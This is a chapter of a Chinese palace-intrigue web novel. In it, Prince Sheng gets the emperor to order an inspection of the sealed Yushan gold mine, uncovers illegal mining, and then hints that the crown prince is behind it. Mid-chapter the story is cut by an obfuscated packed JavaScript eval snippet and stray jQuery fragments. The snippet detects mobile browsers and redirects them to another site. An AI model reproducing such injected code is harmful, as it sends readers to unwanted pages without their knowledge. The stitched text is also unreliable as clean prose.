49. 龙颜大怒
作品:《替身驸马他很不对劲》 皇宫,两仪殿前。
晟王负手而立,眼见日头从正头顶缓缓下移,他渐趋烦躁,深深拧着眉。
自清晨入宫他便直奔两仪殿,只为与皇帝汇报虞山之事。可皇帝久病不愈,身体惫懒,早间更是睡意昏沉,他在殿前连候几个时辰也未得到召见。
直至正午皇帝才堪堪起身,只是既要盥洗换衣,又要用午膳,自然无空见他。
故而晟王只能在殿前苦等,无人同他谈话,闲来无事便暗自腹诽:
父皇从前夜间批改奏折,直至子时才将将歇下,次日又早早起身上朝。如今大病一场,久病未愈,反而越发悠闲起来,政务虽有太子与本王分担,可也不能正午才起身吧,又不是真的当太上皇了。
晟王暗暗想着,算是消磨时间度日,他看着宫女太监端着精致药膳往殿中进,心中一动,转而想道:
其实父皇如此悠闲也是好事一桩,若是能适应当太上皇的日子那更是极好。毕竟父皇闲下来,就代表是我们在掌权。
他这么想着不由唇角微扬,思绪云骞,正想到自己日后当上皇帝的情形时,一道尖利嗓音自殿内传来:“陛下有旨,召晟王殿下觐见。”
晟王这才回过神,他干咳几声正正神色,将方才大不敬的心思藏入胸中,才迈步朝殿内走去。
皇帝将将用过午膳,正靠在软榻上晒暖,随意瞥了晟王一眼,漫不经心道:“能在殿外站上几个时辰,看来是有要事禀奏。可得了召见却不着急,倒是有几分喜怒不形于色的稳重。”
说者无意,听者有心。这话或许是无意,可落在晟王耳中,他却只觉心惊。
毕竟他方才在殿外可是遥想到将来登临帝位的情形,现下却被评为喜怒不形于色。
晟王自觉他的掩饰并没有那么好,望着皇帝那双污浊泛黄却格外锐利的眼睛,他只觉被看穿一般,这才意识到皇帝话里有话,分明是在刻意提醒。
他不由吞咽口水,恭恭敬敬行跪拜大礼:“儿臣参见父皇,恭请父皇圣安。儿臣还远远做不到喜怒不形于色,日后行事定当谨而慎之。”
晟王不敢抬头,直直盯着地面金砖。他能感觉到皇帝的眼神在自己身上打转,那是一种近似审视的打量。
久久等不到皇帝开口,晟王越发心惊起来,一直撑在金砖上的手臂略显僵硬,甚至因为泛酸而隐隐发颤,就在他快要撑不住时,才听皇帝拉长语调悠悠开口:
“平身,何事奏报?”
晟王这才长舒口气,可依旧不敢松神,回想起观澜的交代和说辞,他尽可能把语调放得平缓,斟酌再三开口:
“儿臣奉命兼管工部,偶然翻阅积压文书时,发现虞山金矿有细节存疑。原本不愿打扰父皇,可儿臣愚钝,实在拿不出主意,只能请父皇指点。”
“虞山金矿?”皇帝略显疑惑,连带着因久病未愈而略显苍白的脸色都生动起来,他一改方才的淡然神色,正襟危坐道,“何事?”
见皇帝感兴趣,晟王忙解释道:“儿臣近来翻阅工部文书,发现虞山金矿近五年来的巡查记录都只有简短汇报,而且次次都是无大碍。”
“可前年地震,多数房屋坍塌地势塌陷,依旧只有无大碍的记录,再无更多内容,这实在是工部尚书的失职之处。”
“毕竟虞山金矿牵扯重大,怎能不仔细巡查记录呢?虞山金矿乃关乎国本的龙脉所在之地,儿臣不敢贸然前往探查,这才犹豫不决,不知如何是好。”
眼见皇帝脸色铁青,晟王索性再添把火,为工部找补起来:“若是父皇怕勘验有损龙脉,特意交代工部尚书佟悯嘉不用勘验得那么细致,那便情有可原了……”
晟王话还未说话,皇帝直接打断他,冷哼出声:“好一个工部尚书。”
皇帝简单说了这么一句,并未交代接下来如何做,晟王只能佯装关心龙脉,满脸焦急道:
“多年风风雨雨,怎可不仔细勘验?初春渐暖,虞山冰雪也渐趋消融,若是将矿洞入口侵蚀,那于龙脉国本更是不利啊。”
皇帝未置一词,似思索般地屈起手指轻点眉心。晟王拿捏不准圣意,便没再开口。
皇帝那双似鹰隼般锐利的眼睛一直打量着晟王,良久他才了然地展露笑意,屈指轻敲手臂,配合道:
“既如此,你便带钦天监正使同去检查,再从羽林卫中挑些人手陪同前往。”
得令后晟王忙跪拜行礼,想起临走时观澜对他的耳语,唯恐大张旗鼓引得太子党注意,便俯首叩头请求道:
“父皇,此事关乎龙脉不宜张扬,免得流言渐起,望父皇允儿臣秘密调查。”
这个提议倒也极为合理,皇帝大手一挥道:“你的处事之风越发成熟起来,很好,允了。”
晟王笑道:“幸得父皇教导,儿臣才能如此。”
“好了,你即刻去办此事。”
“是,父皇。”
晟王行礼后转身离去,此事需要从速,越快越好。
太子党故意下套,欲图使他拿着假证据状告太子,此事非同小可,届时皇帝定会宣太子觐见。太子党则请君入瓮,拿出指证他的证据,反治他一个诬陷忠良、意图掌控工部之罪。
晟王今日觐见,便按观澜计划只道明虞山金矿存疑之处,引得皇帝派人去查,便可排除他蓄意谋害的嫌疑。
只是这事需快之又快,要在太子党还未反应过来时,让皇帝之人查出虞山金矿不对之处。否则等太子党回过神来,计划可就失败了。
晟王秘密挑选羽林卫,又以皇帝名义叫走钦天监正使,准备妥当后便朝虞山方向赶去。
矿洞口封了个严实,就连留下的侧道亦封了起来。
旁人若来此,定然顾忌着金矿封禁之事,瞧着矿洞和侧道无异样便罢了,是断断不敢入内的。
只是晟王铁了心要除去太子,毕竟这是你死我活的斗争,若是不能一举除掉太子,怕是还要斗得有来有回。
随行众人远远瞧着矿洞无事,便想回宫复命,只是晟王焉能遂他们心意?
他压低声音同钦天监正使道:“正使,父皇命你与本王同来,你可知其意?”
“这是自然,”正使点头笑道,“陛下看重龙脉,命本官与殿下同来,定是为查看龙脉情况。”
“是啊,”晟王勾唇轻笑,露出森森白牙,冷声道,“那正使为何只在洞外远远瞧上一眼,便着急回去复命?”
晟王气势凌人,钦天监正使自然不可能同他硬刚,可又顾忌着金矿封禁任何人不得入内的禁令,想着洞口都完好无损,内里定然安然无恙,哪知晟王突然发难,他吞咽着口水笑道:“那殿下的意思是?”
“开矿洞,进去细看,”晟王朝随行羽林卫挥手示意开矿,而后扭头望向钦天监正使,“查看龙脉自当直入其内,不然怎知龙脉详情呢?正使,你说是吧?”
正使不免惊讶,连连摆手赔笑道:“可,陛下曾下令封禁,任何人不得入内,这……怕是不合适吧?”
这些官员惯会欺上瞒下,总是顾忌这个顾忌那个,晟王心里不痛快,只道:“哪来这么多废话?出事本王一人担着。”
话已至此,正使再不敢推脱,迎着晟王居高临下的不满眼神,他战战兢兢站在后头,等着羽林卫开矿。
洞口以青石封起,缝隙又填充黄土石灰,要开洞也是颇为不易。等开完入口怕是太阳都要落山了,晟王怕延误正事,只得率众开侧道入矿洞。
一来侧道窄小,比矿洞入口好开。二来侧道离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17431091|194665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
矿洞中央近,能更迅速发现金矿被人私采。
晟王毕竟来过一次,自然轻车熟路,引着他们直入,进入矿洞中央后,众人眼见洞内石块随意散落,又见金矿所剩无几,一打眼便知有人私采金矿。
“何人如此大胆,竟敢私采金矿?”晟王装作震惊,忙吩咐羽林卫,“去查永和十二年所铸金锭,看看是否还在。私采金矿可是死罪,定是无知浅薄之人所犯,正使,咱们快去瞧瞧龙脉,万一那些人伤到龙脉就遭了!”
“好……好!”正使被吓得慌了神,生怕龙脉被破坏,一连说了两个“好”字,心情却完全不同,前者是尚未反应过来随口应下的,后者是反应过来的惊诧恐惧。
两人忙不迭去查看龙脉,正使见龙脉完好无损才长舒口气:“真是胆大妄为,竟敢私采金矿,好在……并未破坏龙脉,否则引得陛下震怒,本官也跟着遭殃。”
还没来得及缓神,只听羽林卫匆匆来报:“殿下,正使,之前所铸金锭还在,只是属下实在不知当年所铸金锭之数,一时说不准少没少,瞧着似乎是少了些。”
“不要汇报无定论之事,更不能说什么‘说不准’、‘好似’,本王也不知具体数目,先回宫禀告陛下,而后查个水落石出。”
“是,殿下。”
私采金矿事关重大,尤其还是封禁金矿,众人快马驰骋返回皇宫。
晟王与正使一同汇报此事,皇帝听闻不禁震怒,他怒拍桌子,整个大殿都回荡着巨大声响,殿内侍奉的太监宫女连忙齐齐下跪:
“陛下息怒!”
“息怒?”皇帝怒极反笑,他深呼吸平稳心情,原本因病消瘦的脸颊变得怪异起来,“放肆,简直是放肆,何人大胆到私采金矿,还是已下令封禁的金矿!若是寻常矿洞也就罢了,偏偏是关乎龙脉国本的矿洞,简直不把天家威严放于眼中,找到幕后之人,朕定要将他碎尸万段!”
晟王忙跪着上前,俯首叩头诚心开口:“父皇,您要保重龙体啊,好在龙脉并未损伤,左右不过是些无知的贪财刁民罢了。”
皇帝头疼地摆摆手,他满脸愁容无奈道:“真是放肆,趁朕尚在病中,便不将天家威严放于眼中,实在可恶。来人,奉朕之命去调查私采金矿之人,今夜子时前必须查出结果。”
杨内侍闻言忙道:“是,奴才即刻去传旨。”
皇帝难掩怒意,指着殿门怒道:“把工部尚书佟悯嘉给朕找来,朕倒要问问,他这个工部尚书是怎么当的!”
此事关乎龙脉国本,更关乎帝位,皇帝怎能容忍这种事发生。皇帝缠绵病榻多日,终是心力交瘁,此时又气急攻心,实在难以抵御心中升起的团团郁气,一时间竟气得晕了过去。
晟王见此情形顿时慌了,连忙命人去宣太医。
待皇帝再次醒来已是丑时,他眼睛酸涩,胸闷气短,心中又始终牵挂龙脉大事。
见晟王跪地侍疾,忙问:“调查之事如何,可有找到私采金矿之人?”
晟王顿时慌了神,他跪倒在地,战战兢兢道:“父皇,儿臣……儿臣不敢说。”
“不敢说?还有什么是朕承受不起的?直说便是。”
晟王俯首在地不敢言语,皇帝怒道:“让你说你就说!”
“是,”晟王本就是故意如此,他表面伤心泣泪,实则早已控制不住心中狂喜,幽幽道,“父皇您要保重龙体啊,儿臣不敢说的原因是……此事,与太子哥哥有关。”
“放肆!”皇帝怒斥出声。
他气得胸口不断起伏,眼见殿内众人个个眼观鼻鼻观心不语,便知此话不假,良久才叹气道:
“来人,宣太子觐见。朕要当面问他,问问他到底想做什么,问问他这个太子到底是怎么当的!”

